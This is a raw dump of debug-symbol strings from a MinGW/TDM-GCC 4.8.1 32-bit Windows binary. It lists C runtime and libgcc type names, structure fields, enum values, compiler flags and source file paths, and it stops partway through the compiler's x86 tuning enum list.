unsigned int
uintptr_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
ULONG
WINBOOL
DWORD
float
LPVOID
signed char
short int
long long unsigned int
ULONG_PTR
PVOID
HANDLE
PIMAGE_TLS_CALLBACK
_IMAGE_TLS_DIRECTORY32
StartAddressOfRawData
EndAddressOfRawData
AddressOfIndex
AddressOfCallBacks
SizeOfZeroFill
Characteristics
IMAGE_TLS_DIRECTORY32
IMAGE_TLS_DIRECTORY
_PVFV
__dyn_tls_init
pfunc
__dyn_tls_dtor
__dyn_tls_init@12
__tlregdtor
__xd_a
__xd_z
_tls_index
_tls_start
_tls_end
__xl_a
__xl_z
_tls_used
_CRT_MT
__dyn_tls_init_callback
__xl_c
__xl_d
mingw_initltsdrot_force
mingw_initltsdyn_force
mingw_initltssuo_force
__mingw_TLScallback
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/charmax.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_PIFV
my_lconv_init
mingw_initcharmax
_charmax
__mingw_pinit
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/mingw_helpers.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_decode_pointer
codedptr
_encode_pointer
mingw_app_type
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/xtxtmode.c
_fmode
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/atonexit.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
_onexit_t
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_PVFV
mingw_onexit
onexitbegin
onexitend
retval
atexit
__onexitbegin
__onexitend
_imp___onexit
_decode_pointer
_lock
__dllonexit
_encode_pointer
_unlock
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/_newmode.c
_newmode
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/wildcard.c
_dowildcard
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/natstart.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
__uninitialized
__initializing
__initialized
__native_startup_state
__native_startup_lock
__native_dllmain_reason
__native_vcclrit_reason
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/crt_handler.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
_EXCEPTION_RECORD
ExceptionCode
ExceptionFlags
ExceptionAddress
NumberParameters
ExceptionInformation
_CONTEXT
ContextFlags
FloatSave
SegGs
SegFs
SegEs
SegDs
SegCs
EFlags
SegSs
ExtendedRegisters
DWORD
float
signed char
short int
long long unsigned int
ULONG_PTR
PVOID
_FLOATING_SAVE_AREA
ControlWord
StatusWord
TagWord
ErrorOffset
ErrorSelector
DataOffset
DataSelector
RegisterArea
Cr0NpxState
FLOATING_SAVE_AREA
CONTEXT
PCONTEXT
EXCEPTION_RECORD
PEXCEPTION_RECORD
_EXCEPTION_POINTERS
ContextRecord
EXCEPTION_POINTERS
PTOP_LEVEL_EXCEPTION_FILTER
LPTOP_LEVEL_EXCEPTION_FILTER
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
__p_sig_fn_t
_gnu_exception_handler
_gnu_exception_handler@4
exception_data
old_handler
action
reset_fpu
__mingw_oldexcpt_handler
signal
_fpreset
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/cinitexe.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
_PVFV
__xi_a
__xi_z
__xc_a
__xc_z
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/dllargv.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
_setargv
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/merr.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_iobuf
_base
_flag
_file
_charbuf
_bufsiz
_tmpfname
_exception
retval
fUserMathErr
__mingw_raise_matherr
__mingw_setusermatherr
_matherr
pexcept
stUserMathErr
_imp___iob
__setusermatherr
fprintf
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/pseudo-reloc.c
__gnuc_va_list
__builtin_va_list
va_list
size_t
unsigned int
ptrdiff_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
DWORD
float
PBYTE
LPBYTE
LPVOID
signed char
short int
long long unsigned int
ULONG_PTR
SIZE_T
PVOID
_MEMORY_BASIC_INFORMATION
BaseAddress
AllocationBase
AllocationProtect
RegionSize
State
Protect
MEMORY_BASIC_INFORMATION
PhysicalAddress
VirtualSize
_IMAGE_SECTION_HEADER
VirtualAddress
SizeOfRawData
PointerToRawData
PointerToRelocations
PointerToLinenumbers
NumberOfRelocations
NumberOfLinenumbers
Characteristics
PIMAGE_SECTION_HEADER
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_iobuf
_base
_flag
_file
_charbuf
_bufsiz
_tmpfname
addend
target
runtime_pseudo_reloc_item_v1
target
flags
runtime_pseudo_reloc_item_v2
magic1
magic2
version
runtime_pseudo_reloc_v2
old_protect
sec_start
__write_memory
oldprot
call_unprotect
do_pseudo_reloc
start
addr_imp
reldata
reloc_target
v2_hdr
newval
__report_error
#mark_section_writable
$addr
#restore_modified_sections
%oldprot
/_pei386_runtime_relocator
0was_init
1mSecs
the_secs
maxSections
8_imp___iob
8__RUNTIME_PSEUDO_RELOC_LIST__
8__RUNTIME_PSEUDO_RELOC_LIST_END__
8_image_base__
9__builtin_fwrite
fwrite
;vfprintf
<abort
=__mingw_GetSectionForAddress
>_GetPEImageBase
?memcpy
>__mingw_GetSectionCount
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/CRT_fp10.c
_fpreset
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/gccmain.c
unsigned int
ptrdiff_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
func_ptr
__do_global_dtors
__do_global_ctors
nptrs
__main
initialized
__CTOR_LIST__
__DTOR_LIST__
atexit
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/crt0_c.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
DWORD
float
signed char
short int
long long unsigned int
LPSTR
HINSTANCE__
unused
HINSTANCE
double
long double
flags
cmdline
__mingw_winmain_hInstance
__mingw_winmain_lpCmdLine
__mingw_winmain_nShowCmd
WinMain
WinMain@16
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/gs_support.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
double
float
long double
_EXCEPTION_RECORD
ExceptionCode
ExceptionFlags
ExceptionAddress
NumberParameters
ExceptionInformation
_CONTEXT
ContextFlags
FloatSave
SegGs
SegFs
SegEs
SegDs
SegCs
EFlags
SegSs
ExtendedRegisters
DWORD
signed char
short int
long long unsigned int
UINT_PTR
ULONG_PTR
PVOID
LONGLONG
LowPart
LowPart
_LARGE_INTEGER
QuadPart
LARGE_INTEGER
_FLOATING_SAVE_AREA
ControlWord
StatusWord
TagWord
ErrorOffset
ErrorSelector
DataOffset
DataSelector
RegisterArea
Cr0NpxState
FLOATING_SAVE_AREA
CONTEXT
PCONTEXT
EXCEPTION_RECORD
PEXCEPTION_RECORD
_EXCEPTION_POINTERS
ContextRecord
EXCEPTION_POINTERS
_FILETIME
dwLowDateTime
dwHighDateTime
FILETIME
NTSTATUS
ft_scalar
ft_struct
__security_init_cookie
cookie
systime
perfctr
__report_gsfailure
StackCookie
cookie
GS_ExceptionRecord
GS_ContextRecord
GS_ExceptionPointers
__security_cookie
__security_cookie_complement
!abort
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/tlsmcrt.c
_CRT_MT
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/tlsthrd.c
size_t
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
WINBOOL
DWORD
float
LPVOID
signed char
short int
long long unsigned int
ULONG_PTR
HANDLE
_LIST_ENTRY
Flink
Blink
LIST_ENTRY
_RTL_CRITICAL_SECTION_DEBUG
CreatorBackTraceIndex
CriticalSection
ProcessLocksList
EntryCount
ContentionCount
Flags
CreatorBackTraceIndexHigh
SpareWORD
_RTL_CRITICAL_SECTION
DebugInfo
LockCount
RecursionCount
OwningThread
LockSemaphore
SpinCount
PRTL_CRITICAL_SECTION_DEBUG
RTL_CRITICAL_SECTION
CRITICAL_SECTION
double
long double
__mingwthr_key_t
__mingwthr_key
__mingwthr_run_key_dtors
value
___w64_mingwthr_add_key_dtor
new_key
___w64_mingwthr_remove_key_dtor
prev_key
cur_key
__mingw_TLScallback
hDllHandle
reason
reserved
__mingwthr_cs
__mingwthr_cs_init
key_dtor_list
calloc
!free
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/pseudo-reloc-list.c
__RUNTIME_PSEUDO_RELOC_LIST_END__
__RUNTIME_PSEUDO_RELOC_LIST__
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/pesect.c
size_t
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
WINBOOL
DWORD
float
PBYTE
LPVOID
signed char
short int
long long unsigned int
LONG_PTR
ULONG_PTR
DWORD_PTR
_IMAGE_DOS_HEADER
e_magic
e_cblp
e_crlc
e_cparhdr
e_minalloc
e_maxalloc
e_csum
e_lfarlc
e_ovno
e_res
e_oemid
e_oeminfo
e_res2
e_lfanew
IMAGE_DOS_HEADER
PIMAGE_DOS_HEADER
_IMAGE_FILE_HEADER
Machine
NumberOfSections
PointerToSymbolTable
NumberOfSymbols
SizeOfOptionalHeader
IMAGE_FILE_HEADER
_IMAGE_DATA_DIRECTORY
IMAGE_DATA_DIRECTORY
_IMAGE_OPTIONAL_HEADER
Magic
MajorLinkerVersion
MinorLinkerVersion
SizeOfCode
SizeOfInitializedData
SizeOfUninitializedData
AddressOfEntryPoint
BaseOfCode
BaseOfData
ImageBase
SectionAlignment
FileAlignment
MajorOperatingSystemVersion
MinorOperatingSystemVersion
MajorImageVersion
MinorImageVersion
MajorSubsystemVersion
MinorSubsystemVersion
Win32VersionValue
SizeOfImage
SizeOfHeaders
CheckSum
Subsystem
DllCharacteristics
SizeOfStackReserve
SizeOfStackCommit
SizeOfHeapReserve
SizeOfHeapCommit
LoaderFlags
NumberOfRvaAndSizes
DataDirectory
IMAGE_OPTIONAL_HEADER32
PIMAGE_OPTIONAL_HEADER32
PIMAGE_OPTIONAL_HEADER
_IMAGE_NT_HEADERS
Signature
FileHeader
OptionalHeader
IMAGE_NT_HEADERS32
PIMAGE_NT_HEADERS32
IMAGE_NT_HEADERS
PIMAGE_NT_HEADERS
PhysicalAddress
VirtualSize
_IMAGE_SECTION_HEADER
SizeOfRawData
PointerToRawData
PointerToRelocations
PointerToLinenumbers
NumberOfRelocations
NumberOfLinenumbers
PIMAGE_SECTION_HEADER
OriginalFirstThunk
_IMAGE_IMPORT_DESCRIPTOR
ForwarderChain
FirstThunk
IMAGE_IMPORT_DESCRIPTOR
PIMAGE_IMPORT_DESCRIPTOR
double
long double
_ValidateImageBase
pDOSHeader
pOptHeader
_FindPESection
_FindPESectionByName
pName
__mingw_GetSectionForAddress
__mingw_GetSectionCount
_FindPESectionExec
_GetPEImageBase
_IsNonwritableInCurrentImage
pTarget
&rvaTarget
__mingw_enum_import_library_names
&importDesc
&importsStartRVA
)_image_base__
*strlen
,strncmp
../../../../../../src/gcc-4.8.1/libgcc/config/i386/cygwin.S
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
GNU AS 2.23.2
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -O2 -O2 -fbuilding-libgcc -fno-stack-protector -fexceptions
../../../../../../src/gcc-4.8.1/libgcc/unwind-sjlj.c
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
double
float
long double
short int
ix86_tune_indices
X86_TUNE_USE_LEAVE
X86_TUNE_PUSH_MEMORY
X86_TUNE_ZERO_EXTEND_WITH_AND
X86_TUNE_UNROLL_STRLEN
X86_TUNE_BRANCH_PREDICTION_HINTS
X86_TUNE_DOUBLE_WITH_ADD
X86_TUNE_USE_SAHF
X86_TUNE_MOVX
X86_TUNE_PARTIAL_REG_STALL
X86_TUNE_PARTIAL_FLAG_REG_STALL
X86_TUNE_LCP_STALL
X86_TUNE_USE_HIMODE_FIOP
X86_TUNE_USE_SIMODE_FIOP
X86_TUNE_USE_MOV0
X86_TUNE_USE_CLTD
X86_TUNE_USE_XCHGB
X86_TUNE_SPLIT_LONG_MOVES
X86_TUNE_READ_MODIFY_WRITE
X86_TUNE_READ_MODIFY
X86_TUNE_PROMOTE_QIMODE
X86_TUNE_FAST_PREFIX
X86_TUNE_SINGLE_STRINGOP
X86_TUNE_QIMODE_MATH
X86_TUNE_HIMODE_MATH
X86_TUNE_PROMOTE_QI_REGS
X86_TUNE_PROMOTE_HI_REGS
X86_TUNE_SINGLE_POP
X86_TUNE_DOUBLE_POP
X86_TUNE_SINGLE_PUSH
X86_TUNE_DOUBLE_PUSH
X86_TUNE_INTEGER_DFMODE_MOVES
X86_TUNE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_UNALIGNED_LOAD_OPTIMAL
X86_TUNE_SSE_UNALIGNED_STORE_OPTIMAL
X86_TUNE_SSE_PACKED_SINGLE_INSN_OPTIMAL
X86_TUNE_SSE_SPLIT_REGS
X86_TUNE_SSE_TYPELESS_STORES
X86_TUNE_SSE_LOAD0_BY_PXOR
X86_TUNE_MEMORY_MISMATCH_STALL
X86_TUNE_PROLOGUE_USING_MOVE
X86_TUNE_EPILOGUE_USING_MOVE
X86_TUNE_SHIFT1
X86_TUNE_USE_FFREEP
X86_TUNE_INTER_UNIT_MOVES
X86_TUNE_INTER_UNIT_CONVERSIONS
X86_TUNE_FOUR_JUMP_LIMIT
X86_TUNE_SCHEDULE
X86_TUNE_USE_BT
X86_TUNE_USE_INCDEC
X86_TUNE_PAD_RETURNS
X86_TUNE_PAD_SHORT_FUNCTION
X86_TUNE_EXT_80387_CONSTANTS
X86_TUNE_AVOID_VECTOR_DECODE
X86_TUNE_PROMOTE_HIMODE_IMUL
X86_TUNE_SLOW_IMUL_IMM32_MEM
X86_TUNE_SLOW_IMUL_IMM8
X86_TUNE_MOVE_M1_VIA_OR
X86_TUNE_NOT_UNPAIRABLE
X86_TUNE_NOT_VECTORMODE
X86_TUNE_USE_VECTOR_FP_CONVERTS
X86_TUNE_USE_VECTOR_CONVERTS
X86_TUNE_FUSE_CMP_AND_BRANCH
X86_TUNE_OPT_AGU
X86_TUNE_VECTORIZE_DOUBLE
X86_TUNE_SOFTWARE_PREFETCHING_BENEFICIAL
X86_TUNE_AVX128_OPTIMAL
X86_TUNE_REASSOC_INT_TO_PARALLEL
X86_TUNE_REASSOC_FP_TO_PARALLEL
X86_TUNE_GENERAL_REGS_SSE_SPILL
X86_TUNE_AVOID_MEM_OPND_FOR_CMOVE
X86_TUNE_LAST
ix86_arch_indices
X86_ARCH_CMOV
X86_ARCH_CMPXCHG
X86_ARCH_CMPXCHG8B
X86_ARCH_XADD
X86_ARCH_BSWAP
X86_ARCH_LAST
_Unwind_Word
_Unwind_Ptr
_Unwind_Exception_Class
long long unsigned int
_URC_NO_REASON
_URC_FOREIGN_EXCEPTION_CAUGHT
_URC_FATAL_PHASE2_ERROR
_URC_FATAL_PHASE1_ERROR
_URC_NORMAL_STOP
_URC_END_OF_STACK
_URC_HANDLER_FOUND
_URC_INSTALL_CONTEXT
_URC_CONTINUE_UNWIND
_Unwind_Reason_Code
_Unwind_Exception_Cleanup_Fn
_Unwind_Exception
exception_class
exception_cleanup
private_1
private_2
_Unwind_Action
_Unwind_Stop_Fn
_Unwind_Context
_Unwind_Trace_Fn
_Unwind_Personality_Fn
pthread_once_t
pthread_key_t
__gthread_key_t
__gthread_once_t
SjLj_Function_Context
call_site
_Unwind_FrameState
uw_update_context
__gthread_active_p
uw_frame_state_for
uw_identify_context
__shmem_grabber_use_fc_key
__shmem_grabber_fc_key
__gthread_key_create
__key
__dtor
__shmem_grabber_sjlj_once
__gthread_once
__once
__func
fc_key_init_once
__gthread_setspecific
__key
__ptr
__shmem_grabber_fc_static
_Unwind_SjLj_SetContext
uw_install_context
current
target
__gthread_getspecific
__key
_Unwind_SjLj_Unregister
uw_advance_context
uw_init_context
__shmem_init_use_fc_key
"temp
__shmem_init_sjlj_once
#temp
$fc_key_init
*_Unwind_RaiseException_Phase2
/match_handler
*_Unwind_ForcedUnwind_Phase2
/stop
/stop_code
/action
_Unwind_SjLj_Register
<_Unwind_GetGR
!index
<_Unwind_GetCFA
_Unwind_SetGR
!index
<_Unwind_GetIP
<_Unwind_GetIPInfo
!ip_before_insn
_Unwind_SetIP
<_Unwind_GetLanguageSpecificData
<_Unwind_GetRegionStart
<_Unwind_FindEnclosingFunction
>_Unwind_GetDataRelBase
>_Unwind_GetTextRelBase
@_Unwind_SjLj_GetContext
<_Unwind_SjLj_RaiseException
<_Unwind_SjLj_ForcedUnwind
!stop
_Unwind_SjLj_Resume
<_Unwind_SjLj_Resume_or_Rethrow
E_Unwind_DeleteException
>_Unwind_Backtrace
Ftrace
Ftrace_argument
J__shmem_ptr_fc_static
J__shmem_ptr_fc_key
J__shmem_ptr_use_fc_key
J__shmem_ptr_sjlj_once
Kpthread_key_create
L__shmem_grab
Mabort
Kpthread_once
Kpthread_setspecific
Npthread_getspecific
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -O2 -O2 -fbuilding-libgcc -fno-stack-protector -fno-exceptions
../../../../../../src/gcc-4.8.1/libgcc/../libgcc/config/i386/shmem-win32.c
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
size_t
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
DWORD
float
signed char
short int
long long unsigned int
HANDLE
__w32sp_trap
get_ptr_from_atom
name_buf
name_buf_len
ptr_offset
ptr_len
__shmem_grab
initfunc
prefix_len
name_len
ptr_len
full_atom_name
hmutex
shared_mem
shmem_version_prefix
malloc
free
!memset
strlen
"memcpy
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -O2 -O2 -fbuilding-libgcc -fno-stack-protector
../../../../../../src/gcc-4.8.1/libgcc/libgcc2.c
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
double
float
long double
short int
ix86_tune_indices
X86_TUNE_USE_LEAVE
X86_TUNE_PUSH_MEMORY
X86_TUNE_ZERO_EXTEND_WITH_AND
X86_TUNE_UNROLL_STRLEN
X86_TUNE_BRANCH_PREDICTION_HINTS
X86_TUNE_DOUBLE_WITH_ADD
X86_TUNE_USE_SAHF
X86_TUNE_MOVX
X86_TUNE_PARTIAL_REG_STALL
X86_TUNE_PARTIAL_FLAG_REG_STALL
X86_TUNE_LCP_STALL
X86_TUNE_USE_HIMODE_FIOP
X86_TUNE_USE_SIMODE_FIOP
X86_TUNE_USE_MOV0
X86_TUNE_USE_CLTD
X86_TUNE_USE_XCHGB
X86_TUNE_SPLIT_LONG_MOVES
X86_TUNE_READ_MODIFY_WRITE
X86_TUNE_READ_MODIFY
X86_TUNE_PROMOTE_QIMODE
X86_TUNE_FAST_PREFIX
X86_TUNE_SINGLE_STRINGOP
X86_TUNE_QIMODE_MATH
X86_TUNE_HIMODE_MATH
X86_TUNE_PROMOTE_QI_REGS
X86_TUNE_PROMOTE_HI_REGS
X86_TUNE_SINGLE_POP
X86_TUNE_DOUBLE_POP
